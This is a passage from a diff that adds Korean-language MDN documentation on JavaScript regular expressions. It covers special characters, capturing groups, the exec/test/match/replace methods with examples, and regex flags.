+     RegExp("pattern") 표기를 쓰면서 \ 자체를 이스케이프 하는 것을 잊지 마세요. 왜냐하면 \ 는 문자열에서도 이스케이프 문자이기 때문입니다. (역주: <code>/a\*/</code> 와 같은 패턴을 생성자로 만들려면 <code>new RegExp('a\\*')</code>와 같이 백슬래시 자체를 이스케이프 시켜주어야 합니다.)</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-caret" id="special-caret" name="special-caret"><code>^</code></a></td>
+   <td>입력의 시작 부분에 대응됩니다. 만약 다중행 플래그가 참으로 설정되어 있다면, 줄 바꿈 문자 바로 다음 부분과도 대응됩니다.<br>
+    <br>
+    예를 들어, <code>/^A/</code> 는 "an A" 의 'A'와는 대응되지 않습니다, 그러나 "An E" 의 'A'와는 대응됩니다.<br>
+    <br>
+    '<code>^</code>' 가 문자셋([abc]) 패턴의 첫 글자로 쓰인다면, 그 때는 전혀 다른 의미를 가집니다. 자세한 내용은 <a href="#special-negated-character-set" title="#special-negated-character-set">역 문자셋</a>을 참고하세요.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-dollar" id="special-dollar" name="special-dollar"><code>$</code></a></td>
+   <td>
+    <p>입력의 끝 부분과 대응됩니다. 만약 다중행 플래그가 참으로 설정되어 있다면, 줄 바꿈 문자의 바로 앞 부분과도 대응됩니다.</p>
+
+    <p>예를 들어, <code>/t$/</code> 는 "eater" 의 't'에는 대응되지 않습니다, 그러나 "eat" 과는 대응됩니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-asterisk" id="special-asterisk" name="special-asterisk"><code>*</code></a></td>
+   <td>
+    <p>앞의 표현식이 0회 이상 연속으로 반복되는 부분과 대응됩니다. {0,} 와 같은 의미입니다.</p>
+
+    <p>예를 들어, <code>/bo*/</code> 는 "A ghost booooed" 의 'boooo' 와 대응되고, "A bird warbled" 의 'b'에 대응되지만 "A goat grunted" 내의 어느 부분과도 대응되지 않습니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-plus" id="special-plus" name="special-plus"><code>+</code></a></td>
+   <td>
+    <p>앞의 표현식이 1회 이상 연속으로 반복되는 부분과 대응됩니다. <code>{1,}</code> 와 같은 의미입니다.</p>
+
+    <p>예를 들어, <code>/a+/</code> 는 "candy"의 'a'에 대응되고 "caaaaaaandy" 의 모든 'a'들에 대응되지만, "cndy" 내의 어느 부분과도 대응되지 않습니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-questionmark" id="special-questionmark" name="special-questionmark"><code>?</code></a></td>
+   <td>앞의 표현식이 0 또는 1회 등장하는 부분과 대응됩니다. <code>{0,1}</code> 와 같은 의미입니다.<br>
+    <br>
+    예를 들어, <code>/e?le?/</code> 는 "angel"의 'el' 에 대응되고, "angle"의 'le' 에 대응되고 또한 "oslo" 의 'l'에도 대응됩니다.<br>
+    <br>
+    만약 수량자 *, +, ?, {} 바로 뒤에 사용하면, 기본적으로 탐욕스럽던(가능한 한 많이 대응시킴) 수량자를 탐욕스럽지 않게(가능한 가장 적은 문자들에 대응시킴) 만듭니다. 예를 들어, <code>/\d+/</code>를 "123abc"에 적용시키면 "123"과 대응됩니다. 그러나 <code>/\d+?/</code>를 같은 문자열에 적용시키면 오직 "1"과만 대응됩니다.<br>
+    <br>
+    또한 이 문자는 <code>x(?=y)</code> 와 <code>x(?!y)</code> 항목에서 설명하는 바와 같이 사전 검증(lookahead assertion)을 위해서도 쓰입니다.<br>
+     </td>
+  </tr>
+  <tr>
+   <td><a href="#special-dot" id="special-dot" name="special-dot"><code>.</code></a></td>
+   <td>
+    <p>개행 문자를 제외한 모든 단일 문자와 대응됩니다.</p>
+
+    <p>예를 들어, <code>/.n/</code>는 "nay, an apple is on the tree"에서 'an'과 'on'에 대응되지만, 'nay' 에는 대응되지 않습니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-capturing-parentheses" id="special-capturing-parentheses" name="special-capturing-parentheses"><code>(x)</code></a></td>
+   <td>
+    <p>다음의 예제가 보여주는것 처럼 'x'에 대응되고, 그것을 기억합니다. 괄호는 <em>포획 괄호(capturing parentheses)라</em> 불립니다.<br>
+     <br>
+     패턴 <code>/(foo) (bar) \1 \2/</code> 안의 '<code>(foo)</code>' 와 '<code>(bar)</code>'는 문자열"foo bar foo bar"에서 처음의 두 단어에 대응되고 이를 기억합니다. 패턴 내부의 <code>\1</code>와 <code>\2</code>는 문자열의 마지막 두 단어에 대응됩니다. (역주: \n 패턴은 앞의 n번째 포획괄호에 대응된 문자열과 똑같은 문자열에 대응됩니다.) <code>\1, \2, \n</code>과 같은 문법은 정규식의 패턴 부분에서 사용됩니다. 정규식의 치환 부분에서는 <code>$1, $2, $n</code>과 같은 문법이 사용되어야 합니다. 예를 들어, <code>'bar foo'.replace( /(...) (...)/, '$2 $1')</code>와 같이 사용되어야 합니다. <code>$&amp;</code> 패턴은 앞에서 대응된 전체 문자열을 가리킵니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-capturing-parentheses" id="special-non-capturing-parentheses" name="special-non-capturing-parentheses"><code>(?:x)</code></a></td>
+   <td>'x'에 대응되지만 대응된 것을 기억하지 않습니다. 괄호는 <em>비포획 괄호(non-capturing parentheses)</em>라고 불리우고, 정규식 연산자가 같이 동작할 수 있게 하위 표현을 정의할 수 있습니다. 정규식 예제 <code>/(?:foo){1,2}/</code>을 생각해보세요. 만약 정규식이 <code>/foo{1,2}/</code>라면, <code>{1,2}</code>는 'foo'의 마지막 'o' 에만 적용됩니다. 비포획 괄호과 같이 쓰인다면, <code>{1,2}</code>는 단어 'foo' 전체에 적용됩니다.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-lookahead" id="special-lookahead" name="special-lookahead"><code>x(?=y)</code></a></td>
+   <td>
+    <p>오직 'y'가 뒤따라오는 'x'에만 대응됩니다. 이것은 lookahead 라고 불립니다.</p>
+
+    <p>예를 들어, <code>/Jack(?=Sprat)/</code> 는 'Sprat'가 뒤따라오는 'Jack' 에만 대응됩니다. <code>/Jack(?=Sprat|Frost)/</code>는 'Sprat' 또는 'Frost'가 뒤따라오는 'Jack'에만 대응됩니다. 그러나, 'Sprat' 및 'Frost' 는 대응 결과의 일부가 아닙니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-negated-look-ahead" id="special-negated-look-ahead" name="special-negated-look-ahead"><code>x(?!y)</code></a></td>
+   <td>
+    <p>'x'뒤에  'y'가 없는경우에만 'x'에 일치합니다. 이것은 negated lookahead 라고 불립니다.</p>
+
+    <p>예를 들어, <code>/\d+(?!\.)/</code>는 소숫점이 뒤따라오지 않는 숫자에 일치합니다. 정규식 <code>/\d+(?!\.)/.exec("3.141")</code>는 '3.141' 이 아닌 '141'에 일치합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-or" id="special-or" name="special-or"><code>x|y</code></a></td>
+   <td>
+    <p>'x' 또는 'y'에 대응됩니다.</p>
+
+    <p>예를 들어, <code>/green|red/</code>는 "green apple"의 'green'에 대응되고, "red apple."의 'red'에 대응됩니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-quantifier" id="special-quantifier" name="special-quantifier"><code>{n}</code></a></td>
+   <td>앞 표현식이 n번 나타나는 부분에 대응됩니다. n은 반드시 양의 정수여야 합니다.<br>
+    <br>
+    예를 들어, <code>/a{2}/</code>는 "candy,"의 'a'에는 대응되지 않지만, "caandy,"의 모든 a 와, "caaandy."의 첫 두 a 에는 대응됩니다.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-quantifier-range" id="special-quantifier-range" name="special-quantifier-range"><code>{n,m}</code></a></td>
+   <td>
+    <p><code>n</code>과 <code>m</code>은 양의 정수이고, <code>n &lt;= m</code>를 만족해야 합니다. 앞 문자가 최소 <code>n</code>개, 최대 <code>m</code>개가 나타나는 부분에 대응됩니다. <code>m</code>이 생략된다면, m은 ∞로 취급됩니다.</p>
+
+    <p>예를 들어, <code>/a{1,3}/</code>는 "cndy"에서 아무것에도 대응되지 않지만, "caandy,"의 첫 두 a 와 "caaaaaaandy"의 첫 세 a 에 대응됩니다. "caaaaaaandy"에서 더 많은 a 들이 있지만, "aaa"에만 대응된다는 점에 주목하세요.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-character-set" id="special-character-set" name="special-character-set"><code>[xyz]</code></a></td>
+   <td>문자셋(Character set) 입니다. 이 패턴 타입은 괄호 안의 어떤 문자(<a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences" title="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences">이스케이프 시퀀스</a>까지 포함)와도 대응됩니다. 점(<code>.</code>) 이나 별표 (<code>*</code>) 같은 특수 문자는 문자셋 내부에서는 특수 문자가 아닙니다. 따라서 이스케이프시킬 필요가 없습니다. 하이픈을 이용하여 문자의 범위를 지정해줄 수 있습니다.<br>
+    <br>
+    예를 들어, 패턴 <code> [a-d]</code> 는 패턴 <code>[abcd]</code> 와 똑같이 동작하며, "brisket"의 'b' 에 일치하고, "city"의 'c' 에 일치합니다. 패턴 <code>/[a-z.]+/ </code> 와 <code>/[\w.]+/</code> 는 "test.i.ng" 전체 문자열이 일치합니다.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-negated-character-set" id="special-negated-character-set" name="special-negated-character-set"><code>[^xyz]</code></a></td>
+   <td>
+    <p>부정 문자셋(negated character set) 또는 보충 문자셋(complemented character set)입니다. 괄호 내부에 등장하지 않는 어떤 문자와도 대응됩니다. 하이픈을 이용하여 문자의 범위를 지정할 수 있습니다. 일반적인 문자셋에서 작동하는 모든 것은 여기에서도 작동합니다.</p>
+
+    <p>예를 들어, 패턴<code>[^abc]</code>는 패턴<code>[^a-c]</code>와 동일합니다. 두 패턴은 "brisket"의 'r', "chop."의 'h' 에 대응됩니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-backspace" id="special-backspace" name="special-backspace"><code>[\b]</code></a></td>
+   <td>백스페이스(U+0008)에 대응됩니다. 이와 같이, 백스페이스 문자 리터럴에 대응시키려면, 대괄호("[]")를 이용해야만 합니다. (<code>\b</code>와 혼동하지 마세요.)</td>
+  </tr>
+  <tr>
+   <td><a href="#special-word-boundary" id="special-word-boundary" name="special-word-boundary"><code>\b</code></a></td>
+   <td>
+    <p>단어 경계에 대응됩니다. 단어 경계는 다른 '단어 문자'가 앞이나 뒤에 등장하지 않는 위치에 대응됩니다. 단어의 경계는 대응 결과에 포함되지 않는다는 사실에 주의하세요. 다른 말로는, 단어의 경계에 대응되는 문자열의 길이는 항상 0입니다. (패턴 <code>[\b]</code>와 혼동하지 마세요.)</p>
+
+    <p>예제:<br>
+     <code>/\bm/</code>는 "moon"의 'm'에 대응됩니다;<br>
+     <code>/oo\b/</code> 는 "moon"의 'oo' 부분에 대응되지 않는데, 왜냐하면 'oo'를 뒤따라오는 'n'이 단어 문자이기 때문입니다;<br>
+     <code>/oon\b/</code>는 "moon"의 'oon'에 대응됩니다. 왜냐하면, 'oon'은 문자열의 끝이라서, 뒤따라오는 단어 문자가 없기 때문입니다 ;<br>
+     <code>/\w\b\w/</code>는 어떤 것에도 일치하지 않습니다. 왜냐하면, 단어 문자는 절대로 비 단어 문자와 단어 문자 두개가 뒤따라올수 없기 때문입니다.</p>
+
+    <div class="note">
+    <p><strong>숙지하세요:</strong> 자바스크립트의 정규식 엔진은 <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-15.10.2.6">특정 문자 집합</a>을 '단어 문자'로 정의합니다. 이 집단에 속하지 않는 모든 문자는 단어 분리(word break) 로 여겨집니다. 단어 문자로 간주되는 문자들은 얼마 없습니다: 오로지 로마자 소문자와 대문자, 10진수 숫자, 밑줄 문자로 구성되어 있습니다. "é" 또는 "ü" 같이, 강세 표시 문자들은 안타깝게도 단어 분리(word breaks) 로 취급됩니다.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-word-boundary" id="special-non-word-boundary" name="special-non-word-boundary"><code>\B</code></a></td>
+   <td>
+    <p>단어 경계가 아닌 부분에 대응됩니다. 아래와 같은 경우들이 있습니다:</p>
+
+    <ul>
+     <li>문자열의 첫 번째 문자가 단어 문자가 아닌 경우, 해당 문자의 앞 부분에 대응됩니다.</li>
+     <li>문자열의 마지막 문자가 단어 문자가 아닌 경우, 해당 문자의 뒷 부분에 대응됩니다.</li>
+     <li>두 단어 문자의 사이에 대응됩니다.</li>
+     <li>단어 문자가 아닌 두 문자 사이에 대응됩니다.</li>
+     <li>빈 문자열에 대응됩니다.</li>
+    </ul>
+
+    <p>문자열의 시작 부분과 끝 부분은 단어가 아닌 것으로 간주됩니다.</p>
+
+    <p>예를 들어, <code>/\B../</code> 는 "noonday"의 'oo'와 대응되며, <code>/y\B./</code> 는 "possibly yesterday."의 'ye'와 대응됩니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-control" id="special-control" name="special-control"><code>\c<em>X</em></code></a></td>
+   <td>
+    <p>문자열 내부의 제어 문자에 대응됩니다. 여기서 <em>X</em>는 A에서 Z까지의 문자 중 하나입니다.</p>
+
+    <p>예를 들어, <code>/\cM/</code>는 문자열에서 control-M (U+000D)에 대응됩니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-digit" id="special-digit" name="special-digit"><code>\d</code></a></td>
+   <td>
+    <p>숫자 문자에 대응됩니다. <code>[0-9]</code>와 동일합니다.</p>
+
+    <p>예를 들어, <code>/\d/</code> 또는 <code>/[0-9]/</code>는 "B2 is the suite number."에서 '2'에 대응됩니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-digit" id="special-non-digit" name="special-non-digit"><code>\D</code></a></td>
+   <td>
+    <p>숫자 문자가 아닌 문자에 대응됩니다. <code>[^0-9]</code>와 동일합니다.</p>
+
+    <p>예를 들어, <code>/\D/</code> 또는 <code>/[^0-9]/</code>는 "B2 is the suite number."의 'B'에 대응됩니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-form-feed" id="special-form-feed" name="special-form-feed"><code>\f</code></a></td>
+   <td>폼피드 (U+000C) 문자에 대응됩니다.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-line-feed" id="special-line-feed" name="special-line-feed"><code>\n</code></a></td>
+   <td>줄 바꿈 (U+000A) 문자에 대응됩니다.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-carriage-return" id="special-carriage-return" name="special-carriage-return"><code>\r</code></a></td>
+   <td>캐리지 리턴(U+000D) 문자에 대응됩니다.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-white-space" id="special-white-space" name="special-white-space"><code>\s</code></a></td>
+   <td>
+    <p>스페이스, 탭, 폼피드, 줄 바꿈 문자등을 포함한 하나의 공백 문자에 대응됩니다. <code>[ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>.와 동일합니다.</p>
+
+    <p>예를 들어, <code>/\s\w*/</code>는 "foo bar."의 ' bar'에 대응됩니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-white-space" id="special-non-white-space" name="special-non-white-space"><code>\S</code></a></td>
+   <td>
+    <p>공백 문자가 아닌 하나의 문자에 대응됩니다. <code>[^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. 와 동일합니다.</p>
+
+    <p>예를 들어, <code>/\S\w*/</code>는 "foo bar."의 'foo' 에 대응됩니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-tab" id="special-tab" name="special-tab"><code>\t</code></a></td>
+   <td>탭 (U+0009) 문자에 대응됩니다.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-vertical-tab" id="special-vertical-tab" name="special-vertical-tab"><code>\v</code></a></td>
+   <td>수직 탭(U+000B) 문자에 대응됩니다.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-word" id="special-word" name="special-word"><code>\w</code></a></td>
+   <td>
+    <p>밑줄 문자를 포함한 영숫자 문자에 대응됩니다. <code>[A-Za-z0-9_]</code> 와 동일합니다. (역주: 여기에 대응되는 문자를 단어 문자라고 합니다.)</p>
+
+    <p>예를 들어, <code>/\w/</code>는 "apple,"의 'a' 에 대응되고, "$5.28,"의 '5'에 대응되고,"3D."의 '3'에 대응됩니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-word" id="special-non-word" name="special-non-word"><code>\W</code></a></td>
+   <td>
+    <p>단어 문자가 아닌 문자에 대응됩니다. <code>[^A-Za-z0-9_]</code> 와 동일합니다.</p>
+
+    <p>예를 들어, <code>/\W/</code> 또는 <code>/[^A-Za-z0-9_]/</code>는 "50%."의 '%' 에 대응됩니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-backreference" id="special-backreference" name="special-backreference"><code>\<em>n</em></code></a></td>
+   <td>
+    <p>정규식 내부의 <em>n</em>번째 괄호에서 대응된 부분에 대한 역참조 입니다. 여기서, <em>n은 양의 정수입니다.</em></p>
+
+    <p>예를 들어, <code>/apple(,)\sorange\1/</code>는 "apple, orange, cherry, peach."의 'apple, orange,' 에 일치합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-null" id="special-null" name="special-null"><code>\0</code></a></td>
+   <td>널 (U+0000)문자에 대응합니다. 이 때 다른 숫자를 뒤에 쓰지 마세요. 왜냐하면 <code>\0&lt;digits&gt;</code>는 8진 <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences" title="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences">이스케이프 시퀀스</a>이기 때문입니다.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-hex-escape" id="special-hex-escape" name="special-hex-escape"><code>\xhh</code></a></td>
+   <td>코드가 hh(두 16진 숫자)인 문자에 일치합니다.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-unicode-escape" id="special-unicode-escape" name="special-unicode-escape"><code>\uhhhh</code></a></td>
+   <td>코드가 hhhh(네개의 16진 숫자)인 문자에 일치합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>사용자 입력을 이스케이프해서 정규식 내부에서 문자 그대로 취급해야 하는 경우, 간단히 치환을 하면 됩니다:</p>
+
+<pre class="brush: js">function escapeRegExp(string){
+  return string.replace(/[.*+?^${}()|[\]\\]/g, "\\$&amp;"); // $&amp;는 일치한 전체 문자열을 의미합니다.
+}</pre>
+
+<h3 id="괄호를_사용하기">괄호를 사용하기</h3>
+
+<p>정규식 내부의 일부를 둘러싼 괄호는, 해당 부분에서 대응된 문자열을 기억하는 효과를 갖습니다. 기억된 문자열은 이후 {{ web.link("#.ED.8C.A8.ED.84.B4.ED.99.94.EB.90.9C_.EB.B6.80.EB.B6.84_.EB.AC.B8.EC.9E.90.EC.97.B4_.EC.9D.BC.EC.B9.98_.EC.82.AC.EC.9A.A9.ED.95.98.EA.B8.B0", "패턴화된 부분 문자열 일치 사용하기") }}에서 설명한 것처럼 다른 곳에서 사용하기 위하여 불러와질 수 있습니다.</p>
+
+<p>예를 들면, 패턴 <code>/Chapter (\d+)\.\d*/</code>는 패턴의 일부분이 기억될 거라는 사실을 나타냅니다. 이 패턴은 하나 이상의 숫자(<code>\d</code>는 숫자를 의미하고 <code>+</code>는 1개 이상을 의미합니다.) 이후에 하나의 소숫점(\가 앞에 붙은 소숫점은 문자 그대로의 문자 '.' 에 대응됨을 나타냅니다), 그뒤 0개 이상의 숫자(<code>\d</code> 는 숫자, <code>*</code> 는 0개 이상을 의미합니다.)가 뒤따라오는 'Chapter ' 문자열에 대응됩니다. 더해서, 괄호는 처음으로 일치하는 숫자 문자들을 기억하기 위하여 사용되었습니다.</p>
+
+<p>이 패턴은 "Open Chapter 4.3, paragraph 6"에 나타나며, '4'가 기억됩니다. 이 패턴은 "Chapter 3 and 4"에는 나타나지 않습니다. 왜냐하면 문자열이 '3'이후에 마침표를 가지고 있지 않기 때문입니다.</p>
+
+<p>부분 문자열을 대응시키면서도 해당 부분을 기억하지 않으려면, 괄호의 첫머리에 <code>?:</code>패턴을 사용하세요. 예를 들어, <code>(?:\d+)</code>는 1개 이상의 숫자에 대응되지만 해당 문자들을 기억하지 않습니다.</p>
+
+<h2 id="정규식_사용하기">정규식 사용하기</h2>
+
+<p>정규식은 <code>RegExp,</code> <code>test,</code> <code>exec,</code> <code>String,</code> <code>match</code>, <code>replace</code>, <code>search</code>, <code>split</code> 메소드와 함께 쓰입니다. 이 메소드는 <a href="/en-US/docs/Web/JavaScript/Reference" title="en-US/docs/JavaScript/Reference">JavaScript reference</a>에서 잘 설명되어 있습니다.</p>
+
+<table class="standard-table">
+ <caption>정규식에서 쓰이는 메소드</caption>
+ <thead>
+  <tr>
+   <th scope="col">Method</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("RegExp.exec", "exec")}}</td>
+   <td>대응되는 문자열을 찾는 <code style="font-style: normal;">RegExp</code><span style="background-color: rgba(212, 221, 228, 0.14902);"> 메소드입니다</span>. 정보를 가지고 있는 배열을 반환합니다. 대응되는 문자열을 찾지 못했다면 null을 반환합니다.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.test", "test")}}</td>
+   <td>대응되는 문자열이 있는지 검사하는 <code style="font-style: normal;">RegExp</code><strong style="background-color: rgba(212, 221, 228, 0.14902); font-family: courier new,andale mono,monospace; font-weight: bold;"> </strong>메소드 입니다. true 나 false를 반환합니다.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.match", "match")}}</td>
+   <td>대응되는 문자열을 찾는 <code style="font-style: normal;">RegExp</code><span style="background-color: rgba(212, 221, 228, 0.14902);"> 메소드입니다</span>. 정보를 가지고 있는 배열을 반환합니다. 대응되는 문자열을 찾지 못했다면 null을 반환합니다.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.search", "search")}}</td>
+   <td>
+    <p class="syntaxbox">대응되는 문자열이 있는지 검사하는 <code style="font-style: normal;">String</code><strong style="background-color: rgba(212, 221, 228, 0.14902); font-family: courier new,andale mono,monospace; font-weight: bold;"> </strong>메소드 입니다. 대응된 부분의 인덱스를 반환합니다. 대응되는 문자열을 찾지 못했다면 -1을 반환합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.replace", "replace")}}</td>
+   <td>대응되는 문자열을 찾아 다른 문자열로 치환하는 <code>String</code> 메소드입니다.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("String.split", "split")}}</td>
+   <td>정규식 혹은 문자열로 대상 문자열을 나누어 배열로 반환하는 <code>String</code> 메소드입니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>문자열 내부에 패턴과 대응되는 부분이 있는지 알고 싶다면, <code>test</code> 나 <code>search</code> 메소드를 사용하세요; 좀 더 많은 정보를 원하면 (대신 실행이 느림)  <code>exec</code> 나 <code>match</code> 메소드를 사용하세요. 만약 <code>exec</code> 나 <code>match</code> 메소드를 사용했는데 대응되는 부분이 있다면, 이 메소드는 배열을 반환하고 정규식 객체의 속성을 업데이트 합니다. 만약 대응되는 부분이 없다면, <code>exec</code> 메소드는 <code>null</code> 을 반환합니다. (즉, <code>false</code>와 같은 의미로 사용될 수 있습니다.).</p>
+
+<p>아래의 예에서는, 문자열 내부에서 대응되는 부분을 찾기 위해 <code>exec</code> 메소드를 사용했습니다.</p>
+
+<pre class="brush: js">var myRe = /d(b+)d/g;
+var myArray = myRe.exec("cdbbdbsbz");
+</pre>
+
+<p>만약 정규식 속성에 접근할 필요가 없다면, 아래와 같이 <code>myArray</code>를 만드는 다른 방법도 있습니다:</p>
+
+<pre class="brush: js">var myArray = /d(b+)d/g.exec("cdbbdbsbz");
+</pre>
+
+<p>문자열로부터 정규식을 만들고 싶다면, 이런 방법도 있습니다:</p>
+
+<pre class="brush: js">var myRe = new RegExp("d(b+)d", "g");
+var myArray = myRe.exec("cdbbdbsbz");
+</pre>
+
+<p>위의 스크립트에서는, 대응되는 부분이 발견되었고 아래의 표에서 설명하는 대로 배열을 반환하며 속성을 갱신합니다.</p>
+
+<table class="standard-table" style="height: 299px; width: 1168px;">
+ <caption>정규식 실행결과</caption>
+ <thead>
+  <tr>
+   <th scope="col">Object</th>
+   <th scope="col">Property or index</th>
+   <th scope="col">Description</th>
+   <th scope="col">In this example</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td rowspan="4"><code>myArray</code></td>
+   <td></td>
+   <td>대응된 문자열 및 기억한 모든 부분 문자열</td>
+   <td><code>['dbbd', 'bb', index: 1, input: 'cdbbdbsbz']</code></td>
+  </tr>
+  <tr>
+   <td><code>index</code></td>
+   <td>입력된 문자열에서 대응된 부분에 해당하는 인덱스 (0부터 시작)</td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <td><code>input</code></td>
+   <td>입력된 원본 문자열</td>
+   <td><code>"cdbbdbsbz"</code></td>
+  </tr>
+  <tr>
+   <td><code>[0]</code></td>
+   <td>마지막으로 대응된 문자열</td>
+   <td><code>"dbbd"</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2"><code>myRe</code></td>
+   <td><code>lastIndex</code></td>
+   <td>다음 검색 시 검색을 시작할 인덱스 (이 속성은 g 옵션을 설정한 정규식에 대해서만 설정됩니다. 자세한 사항은 {{ web.link("#Advanced_searching_with_flags", "Advanced Searching With Flags") }} 부분을 참고하세요.)</td>
+   <td><code>5</code></td>
+  </tr>
+  <tr>
+   <td><code>source</code></td>
+   <td>패턴 문자열. 정규식이 생성될 때 갱신됩니다. 실행 시점에는 갱신되지 않습니다.</td>
+   <td><code>"d(b+)d"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>위 예제에서의 두 번째 형태처럼, 정규식 객체를 변수에 대입하지 않고도 사용할 수 있습니다. 하지만, 이렇게 하면 정규식 객체가 매번 새로 생성됩니다. 이러한 이유로, 만약 변수에 대입하지 않는 형태를 사용하는 경우 나중에 그 정규식의 속성에 접근할 수 없게 됩니다. 예를 들어, 이러한 스크립트가 있을 수 있습니다:</p>
+
+<pre class="brush: js">var myRe = /d(b+)d/g;
+var myArray = myRe.exec("cdbbdbsbz");
+console.log("The value of lastIndex is " + myRe.lastIndex);
+
+// "The value of lastIndex is 5"
+</pre>
+
+<p>그러나, 만약 이러한 스크립트가 있으면:</p>
+
+<pre class="brush: js">var myArray = /d(b+)d/g.exec("cdbbdbsbz");
+console.log("The value of lastIndex is " + /d(b+)d/g.lastIndex);
+
+// "The value of lastIndex is 0"
+</pre>
+
+<p>두 구문에서의 <code>/d(b+)d/g</code> 는 서로 다른  정규식 객체이고, 따라서 별개의 <code>lastIndex</code> 속성을 갖게 됩니다. 정규식 객체의 속성을 사용해야 하는 경우라면, 먼저 변수에 대입하세요.</p>
+
+<h3 id="괄호로_둘러싼_패턴_사용하기">괄호로 둘러싼 패턴 사용하기</h3>
+
+<p>정규식 패턴에 괄호를 사용하면, 그 부분을 별도로 대응시키면서 대응된 부분을 기억합니다. 예를 들면, <code>/a(b)c/</code> 는 'abc' 와 대응되면서 'b'를 기억합니다. 괄호로 감싸진 문자열을 불러오려면, 배열 요소 <code>[1]</code>, ..., <code>[n]</code> 를 사용하세요.</p>
+
+<p>괄호로 감쌀 수 있는 문자의 개수에는 제한이 없습니다. 반환된 배열은 찾아낸 모든 것들을 갖고 있습니다. 다음의 예는 괄호로 둘러싸진 부분이 어떻게 대응되는지 보여줍니다.</p>
+
+<p>다음의 예는 문자열 내부의 단어를 바꾸기 위해 {{jsxref("String.replace", "replace()")}} 메소드를 이용하고 있습니다. 치환 문자열로는 <code>$1</code> 과 <code>$2</code> 를 사용하고 있는데, 이는 각각 첫 번째와 두 번째 괄호가 쳐진 부분에 대응된 문자열을 가리킵니다.</p>
+
+<pre class="brush: js">var re = /(\w+)\s(\w+)/;
+var str = "John Smith";
+var newstr = str.replace(re, "$2, $1");
+console.log(newstr);
+
+// "Smith, John"
+</pre>
+
+<h3 id="플래그를_사용한_고급검색">플래그를 사용한 고급검색</h3>
+
+<p>정규식은 여섯 개의 플래그를 설정해줄 수 있으며, 이를 통해 전역 검색 또는 대소문자 구분 없는 검색을 수행할 수 있습니다. 이 플래그들은 각기 사용될 수도 있고 함께 사용될 수도 있고 순서에 구분이 없습니다.</p>
+
+<table class="standard-table">
+ <caption>Regular expression flags</caption>
+ <thead>
+  <tr>
+   <th scope="col">Flag</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>g</code></td>
+   <td>전역 검색</td>
+  </tr>
+  <tr>
+   <td>i</td>
+   <td>대소문자 구분 없는 검색</td>
+  </tr>
+  <tr>
+   <td>m</td>
+   <td>다중행(multi-line) 검색</td>
+  </tr>
+  <tr>
+   <td>s</td>
+   <td><code>.</code>에 개행 문자도 매칭(ES2018)</td>
+  </tr>
+  <tr>
+   <td>u</td>
+   <td>유니코드; 패턴을 유니코드 코드 포인트의 나열로 취급합니다.</td>
+  </tr>
+  <tr>
+   <td>y</td>
+   <td>"sticky" 검색을 수행. 문자열의 현재 위치부터 검색을 수행합니다. {{jsxref("RegExp.sticky", "sticky")}} 문서를 확인하세요.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>정규식에 플래그를 포함시키려면, 아래 문법을 사용하세요:</p>
+
+<pre class="brush: js">var re = /pattern/flags;
+</pre>
+
+<p>혹은 아래와 같이 할 수도 있습니다:</p>
+
